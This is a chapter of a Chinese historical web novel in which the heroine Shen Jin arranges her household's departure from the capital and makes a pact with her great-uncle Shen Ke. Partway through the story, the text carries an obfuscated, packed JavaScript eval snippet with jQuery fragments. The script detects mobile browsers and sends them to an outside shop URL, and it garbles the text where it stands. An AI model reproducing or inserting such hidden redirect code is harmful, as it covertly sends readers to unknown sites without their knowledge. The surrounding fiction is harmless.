沈忠走后，沈烬去陪苏婉用了早饭，应付完今日来请脉的太医后，还没走到清竹院，就听见一道欢快的声线。
“姑娘，我回来啦！”
知秋一看见沈烬，就本能地想要快步走到她身边，又按捺住冲动收稳了步子，眼睛直直地看着沈烬，笑得灿烂。
沈烬闻言回头看见她，就停下了脚步：“慢着些。”
知秋靴边还沾着泥土，走到沈烬身边道：“我今儿巡完了最后一处庄子，就快马加鞭来向姑娘回禀了。”
“不着急，你近日来回奔波，先去歇歇。”
“知秋一回到姑娘身边就浑身都是力气，让我先跟姑娘说说情况吧。”
沈烬含笑点头。
知秋跟在沈烬身后进了内室，行完礼又仰起头打量她，看沈烬胖瘦神情与往日没什么变化，才稍稍安心。
随后主动道：“咱们京城铺子里的这些人手，许多是从老国公那一辈就跟着的，加上这几年来姑娘新添置的，管事的都是精挑细选的，我都去摸了一遍底，查过账，问了话，沈七手下的人也帮着打探情况，大多都是能用的，最近没出什么乱子。”
“也有人怕是已经懂了另寻出路的心思，我看绸缎庄的刘掌柜和脂粉铺的钱娘子就是。姑娘平时对这些管事的多有厚待，如今一有风吹草动，就想着另攀高枝了！”知秋愤愤不平。
沈烬有些忍俊不禁：“京城居大不易。寻常挣钱的生意，有异心没坏心的，备上厚礼好好送走就是了，总归铺子还在我们手上。”
知秋今年17岁，看起来跳脱，打理账目和生意却是一把好手，常年管着沈烬的钱袋子。
“这倒也是，还是姑娘有远见。把府里的财产一份摆在明面上，一份攥在自己手里，咱们自己手里那些铺面田产的人手，身家性命都是姑娘给的，个顶个的衷心，嘴比棺材板还严。”
知秋又道，“庄子水田和果园一类，我也都去看过了一遍，没什么异样。姑娘厚待农户们，他们心里都是感念着府里的恩情的，老赵头种出来了姑娘给的新种子，让我带回来给姑娘瞧瞧呢呢。”
沈烬道：“这些事情你来办，我向来是放心的。农户们种出来的各类产物要妥帖收好，多留种，不要大肆种开，以免引人注意。这些日子你就把京城里的这些事慢慢交给沈六，之前暗处那些沈七用来探听消息的买卖，账上的事是你负责的，也一并交给他，让沈六先留在京城看家。”
“可用的，一家老小都在京城不便走或是愿意留在京城的，厚待着。挑一些靠得住的人放在要害处，我们离开后不能成了瞎子，也不能让京城的事断了线。让他们明面上各过各的日子，暗地里互通消息，有事递到沈七那里去。”
“愿意跟咱们走的更要善待，等稳妥了再分批离京。走之前要把京城的事料理干净，掌柜走了，就把账房提拔上来管铺子，不要让人多想。”
“那些不能留的就换掉，换不掉的先稳住，别生出什么事端。”
知秋点头：“姑娘放心，我定把剩下的事情在离京之前都办妥帖。”
待知秋把事情都交代清楚，有些担忧地问道：“姑娘，夫人她怎么样了？”
“外头的管事和农户们，听闻府中接连遭逢变故，心里都记挂着夫人和姑娘，托我带来了一些鲜鸡蛋和食补之物，还有好药材。我看这是他们的一片心意，就收下带回来了。”
沈烬心头一暖：“母亲这边有太医诊治，并无凶险，你不必忧心。食材若是没问题，今晚就挑些给母亲做上吧，让她也高兴些。收的东西折算成银子，多算几分给他们送去。”
知秋应下：“姑娘晚上想吃什么？我亲自去给姑娘做，近日我和忍冬都不在姑娘身边，也不知道姑娘吃的好不好。”
“这些事无需你分心，你先顾着外面就好。”
“那我今日也先给姑娘做一顿吧，姑娘难道就不想念知秋的手艺了吗？”说完眼巴巴地看着沈烬。
沈烬莞尔：“好。”
知秋离开后，将近午时，沈忠办完了事回到府里，向沈烬说了离开时遇到陆承昭的事，她应该已经知道了沈烬要离京的打算。
沈烬表示自己知道了。
这下，给陆承昭要送的东西，又要再重上几分了。
眼下的局势没有给沈烬沉溺的时间，她也没有肆意随性的余地。
沈烬重新收了心神，再次埋首处理离京事务，直到门外有人通传，说沈恪遣人来找她过去。
沈烬略一收拾便出了门，心中没有丝毫意外。
近来苏婉病重的传言纷飞，沈恪能等到这个时候才来找她，也是很沉得住气了。
沈恪一家和国公府隔着一条街，沈恪的心腹一路引着沈烬，走进了沈恪的书房。
沈恪端坐案后，目光从合上的族谱移开，落在刚进门的少女身上。
从前的沈烬在沈恪眼里，只是一个国公府深宅里养出来的闺阁嫡女，恭敬安分，纵使有几分聪慧，也难逃女子命数的局限。
最初得知沈策离世之时，沈恪也默认她会如同往日，听从众人的安排，在宗族的庇护下安稳度日。
在当时沈恪的谋划里，沈烬只是一个他需要帮兄长照顾好的孙女而已。
那日沈烬在祠堂当众压下族人议论，有礼有节，软硬兼施，沈恪对她刮目相看的同时，也并未将希望寄托在沈烬身上。
朝局大势，非几分生在庇护下的聪慧可以抗衡。
但从沈烬后来又顺利求得皇上旨意，硬生生破开僵局，扛起主丧大任开始，沈恪就不这么想了。
纵是有几分顺风之势可以借力，但沈烬站到了从前女子没人能站到的地方，他便也不能以寻常的眼光看待她。
沈烬展露出来的隐忍和魄力，筹谋和城府，早已远远超出沈恪对她的预估。
沈恪终于开始正视她。
正视这位年纪轻轻，已经能凭一己之力撕开生路的同脉嫡系。
“你要离京。”沈恪开口，语气笃定。
沈恪知道苏婉的身子不大好，也知道苏婉和沈策的感情深厚，在沈策离世后病倒不足为奇。
苏婉自病后就闭门谢客，不见族人，不理外事，京中传言却越来越盛。
虽说沈烬以答谢和为母祈福之名在京施粥，此举多少会引起议论，但不至于连太医诊治的内情都传出去。
太医是皇上派来的，定会谨言慎行。外人不知道，他却是知道的，沈国公府向来治家甚严，下人守口如瓶，若非如此，沈洪也不至于至今都摸不到沈烬一家的底。
甚至连他也不知道，沈毅乃至沈策，到底给沈烬留下了多少筹码。
从前沈恪也与世人一样，只以为是沈策和苏婉感情深厚，沈策初为人父，疼爱长子，才迟迟未有男丁所出。
可当他对沈烬改观了之后，便不这么想了，乃至连沈毅当初要亲自教养沈烬长大的决定，在他眼里都带着深意。
沈毅父子并非武夫莽汉，明知家中无男嗣，战场又凶险，一旦意外发生，定不会坐视她们母女陷入困局。
沈烬手中定有筹码，她自身也并非世人眼里任凭命运摆弄的弱者。
京中流言事出反常，除非是沈烬故意为之。
可苏婉的病症肯定也是真的，皇上派来的太医做不了假，宫里一批批送来的药材也做不了假，任谁来看，苏婉都是一个缠绵病榻的可怜人。
沈恪也怀疑过自己是不是多虑了，但他今天看着沈烬这幅从容沉着的模样，心中反而多了几分清明。
此时的沈烬已经换回了白色孝服，却没了昔日温顺的模样，她迎着沈恪的视线不躲不避：“是。”
沈恪也看着她，像要看到她心底深处：“你到底想走到哪一步？”
当沈恪把沈烬当做一个大族嫡支的嫡长子来看待，抛开女子性别和年龄的固有印象后，许多事情都明晰了许多。
若是只求为父亲尽孝，并非只有摔盆一举。
沈烬争的不只是那一礼，还有沈毅一脉的资源声望，她们母女的立身之本，乃至和帝王做交换的筹码。
甚至这些对她来说并非是异想天开。
有的世家子弟，遇乱就慌，遇折易颓，再好一些的，熬过风波再收敛锋芒，以保全自身，安分守着衰落门第，静待来日。
可沈烬一路逆势而行，步步出人意料。
她有父祖积累下来的民心，有母族万贯家财的助力，自幼被大启唯一以军功得封公爵又能全身而退的祖父亲自教养，自身心智卓绝，手中又有筹码，样样都是上上之选。
倘若沈烬是个男子……沈恪忍不住这样想。
倘若沈烬是个男子，那他沈氏一族，何愁不能重掌权柄，再振门楣？
屋内光影晃动，拉回了沈恪的思绪。
如今沈烬已没什么好遮掩的：“我想保住我与母亲后半生的安乐，保住我父亲和祖父的声名，也试着去保住他们在意的东西。”
“自古离京都是为避祸的无奈之举，只因这会断了一家乃至一族在京城的根基。”沈恪开口道。
“哪怕朝中有人默许你走，也是想要沈家核心的一支远离中枢，再无搅动风云的能力，甚至是想让整个沈氏淡出朝堂，归于沉寂。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17966947|214543||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
沈烬道：“我此时主动离开京城，的确是遂了许多人的心愿，但对我们母女，包括对沈氏而言，从长远来看是福非祸。”
“我带着母亲离开京城，相当于沈氏我祖父和父亲这一脉，离开了京城。这会替整个沈氏避开眼下最烈的风头，带走帝王的聚焦和猜忌，也带走许多朝堂视线。”沈烬接着说道。
“况且，世事盛衰轮转，起落本无定数，一时退并非一世退，只要沈氏能留住根基，他日未必没有卷土重来，东山再起之时。”
片刻安静落在书房里。
“你离开后，沈氏就能安稳了吗？若此事不成，你又待如何？”沈恪定定的看着沈烬，话锋锐利。
“一计不成，那就再生一计。至于沈氏，那就要看四叔祖如何取舍了。”沈烬道。
“孙女说句冒犯的话，从前皇上为了抑制沈家，四叔祖任光禄寺卿，虽位列九卿，但说到底只是一个为皇家打理饮馔的闲职。我先前与三叔父有争执，可也觉得他确有几分才干，不至于卡在七品的微末之位多年不得升迁，其他旁支的子弟更是难出头。
“祖父和父亲也明白，所以这些年来为沈氏出人出力，绝无二话。”
“当今天子顾着人望声誉，喜欢明着优待，暗里削权，一边用光鲜的官位安抚，一边想杜绝沈家再接触文官要权。如今沈家兵权难保，在兵部的势力怕是要被打散，可于文一途却十分弱势。”
沈烬点到为止，不再多言。
倘若沈恪能约束族人安分守己，削减应酬往来，向外昭示沈氏无意涉足权争，能狠得下心管住沈洪放弃冒险的念头，让沈耀安心科举，走文官一途，皇上若无把柄，不会急于，也不能在短时间内将沈氏连根拔除，赶尽杀绝。
沈恪半响无言。
又道：“你今日与我如此推心置腹，是为的什么呢？”
沈烬答道：“祖父和父亲相继离世，我已决意带着母亲离京，沈氏宗族之内，唯有四叔祖能稳住局面。”
“京中风雨已至，难保不会有族人或为自保，或为攀附，给有心之人递上沈氏的把柄。我不能看着这些人危及我和我的母亲，毁了沈家几代积攒下来的根基和声誉。”
“您向来不因亲疏私情偏袒行事，在族中素有威望，人心敬服，所以我信您。”沈烬顿了顿，“祖父也信您。”
沈恪心中一颤：“你祖父？”
“是，祖父曾与我言，四叔祖是明理之人，胸襟宽广，最是通透宽厚。”
“祖父说他年少时，父亲续弦再娶，又诞下子嗣，他那时心性桀骜，平日里对继母言语多有冲撞，还会有意为难排挤尚且年幼的您，可您从未到长辈面前告状，反而会在事发时替祖父求情，遮掩过错。”
“这些年来沈烬心里也自有一杆秤在，您向来只专注自身，不仅对祖父和父亲没有怨言，而且还会为他们周全。”
“从前我祖父和父亲在兵部权势鼎盛，我不信没有人挑拨离间，从中作梗，但这么多年来沈氏一族都是安稳的，这绝非一家之功。”
“事实胜于雄辩，所以，孙女也信您。”
沈恪的思绪不自觉跟着沈烬的话又飘远了。
飘到那些年少时跑到兄长院中顶着他的冷面皮讨茶喝的时光，飘到兄长外出归家时，给他带回来的弓箭和炸糖糕上。
他已年过天命，此时竟感到了鼻腔中的酸意。
沈恪很久没说话，沈烬也安静地站着。
沈恪待平复了情绪，问道：“你离京欲往何处？”
“苍山郡。”
“苍山郡。”沈恪道，“倒是个皇上放心的地方。”
“我与母亲离京之后，诸事就有劳四叔祖了。”沈烬弯腰向沈恪行了一礼。
沈烬直起身后抬头看着沈恪，沈恪也深深地看着她。
一方是快到垂暮之年的老者，一方是尚未及笄的少女。
良久，沈恪颔首：“如你所愿。”
沈烬闻言上前走到沈恪的书案前，伸出右手，掌心平直向前：“我与四叔祖击掌为誓，以天地先祖为鉴。”
那是一双还带着少女纤细轮廓的手，却因常年习剑演武，已经有了薄茧。
沈恪亦伸出手掌，掌心布满沟壑纹路，沉沉迎上。
“击掌为誓。”
一老一少，两只手掌交汇，清响乍起。
老者像承载着绵延的旧根，少女似托举着未卜的前路。
恰似沈氏的过往与将来，于这间天光明朗的书斋之中，在此刻相逢。
至此，沈氏两支嫡系的实际掌权人，正式缔下盟约。